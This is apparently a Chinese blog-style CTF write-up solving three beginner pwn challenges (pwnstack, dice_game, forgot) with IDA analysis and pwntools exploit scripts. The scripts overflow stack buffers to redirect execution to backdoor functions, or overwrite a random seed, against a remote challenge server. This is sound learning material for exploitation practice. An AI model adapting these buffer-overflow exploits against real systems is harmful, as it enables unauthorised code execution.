pwn 入门刷题
# pwn 入门刷题
攻防世界pwn题目
# pwnstack
下载拖到ida64里反编译
进入到vuln
函数,定义了一个160(0xa0)字节的缓冲区,存在一个read
函数,会读取177(b1)个字节,导致栈溢出
查看汇编代码,看到后门函数,函数地址放在缓冲区后覆盖栈的返回地址0x400762
或者通过shift+f12
找到/bin/sh
字符串,再通过在/bin/sh
地址上ctrl+x
找到它的引用,也可以找到后门函数的定义
ctf wiki用一个很好的概念来理解栈的结构,如下
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
2
3
4
5
6
7
8
9
10
11
12
从图中可以看出,s
变量一共可以传入的字节大小为14
,如果超过的话,多出的就会到saved ebp
中,根据我的查阅saved ebp
保存的是栈帧
,根据栈帧确定变量的返回值,x86
中saved ebp
的大小为4个字节
,x64
中saved ebp
的大小为8个字节
,最后的retaddr
就是溢出的部分,我们可以控制retaddr
的值,将其修改为我们想要执行函数的内存地址
看一下这题的文件类型,64
位,所以saved ebp
的大小为8个字节
覆盖saved ebp
,所以我们需要填充0xa0+8=0xa8
个字节,然后,最后填入后门函数的地址0x400762
最后发送p64
函数包裹的数据,是为了让程序认为这是一个内存地址,不然接受的就是字符0x400762
编写exp:
from pwn import *
# 本地调试
# p = process('./pwn2')
# 远程
p = remote('61.147.171.105', 53646)
payload = b'a' * (0xa0+8) + p64(0x400762)
p.sendline(payload)
p.interactive()
2
3
4
5
6
7
8
9
远程可以打通,本地打不通,这是什么原因。把后门地址改成0x400766
时,本地和远程都可以
# dice_game
ida64反编译,分析主函数,sub_A20,sub_B28等函数
分析这三个函数大概可以知道,这是一个游戏,使用当前时间生成一个种子,调用sub_A20函数使用这个种子生成50个1-6之间的随机数,等待用户输入,如果50道全对,调用sub_B28函数读取flag
在ida里可以看到buf,seed在栈中,buf长度为55,seed长度为2,在0x10位置
可以通过buf,覆盖seed,从而控制种子,再利用题目给的libc库里定义的rand函数,就可以生成与题目一样的随机数
from pwn import *
from ctypes import * # 导入ctypes库,用于调用libc库中的函数
#from LibcSearcher import *
context.log_level = 'debug' # 设置调试模式
r = remote('61.147.171.105',54885)
libc = cdll.LoadLibrary("libc.so.6")#利用题目给的libc库中的函数rand生成与题目一样的随机数。
payload= b'a'*(0x50-0x10)+p64(0)
r.sendafter('Welcome, let me know your name: ',payload)
a=[]
for i in range(50):
a.append(libc.rand()%6+1)
print(a)
for i in a:
r.recv()
print(r.recv())
r.sendline(str(i))
r.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# forgot
检测一下,32位程序,没有栈保护
反编译分析,定义了长度为32位字节的s,作为用户名来接收,可以随便输入。定义了v3,存入了几个函数的地址
定义了长度为32的v2,使用scanf
函数接收,没有限制长度,存在栈溢出
根据定义的v2,v3,发现缓冲区里可以使用v2溢出覆盖v3
在程序的最后有一处动态函数调用
shift+f12
跟进引用,找到cat flag
的函数sub_80486CC
所以需要把v3[--v5]
也就是v3[1]
的地址覆盖为sub_80486CC
函数的地址0x80486CC
在这个循环中,会对输入的每一位字符进行检测,如果符合就更改v5的值,进入下一层检测,跟着他的要求做要找到合适的email格式,以及函数地址的改变,题目会变得更难,直接在第一个检测里找到不符合的字符,使每一位都不符合,这样v5就不需要改变了。在检测结束就可以调用目标函数
在第一个检测中,检查是否是小写字母、数字,或是特定的几个符号下划线、减号、加号、点,拿大写字母绕过就可以了
_BOOL4 __cdecl sub_8048702(char a1)
{
return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}
2
3
4
编写exp
from pwn import *
payload = b'A'*0x20 + p32(0x80486cc)
# p = process('./forgot')
p = remote('61.147.171.105', 61568)
p.sendlineafter('> ','test')
p.sendlineafter('> ',payload)
p.interactive()
2
3
4
5
6
7
8
参考: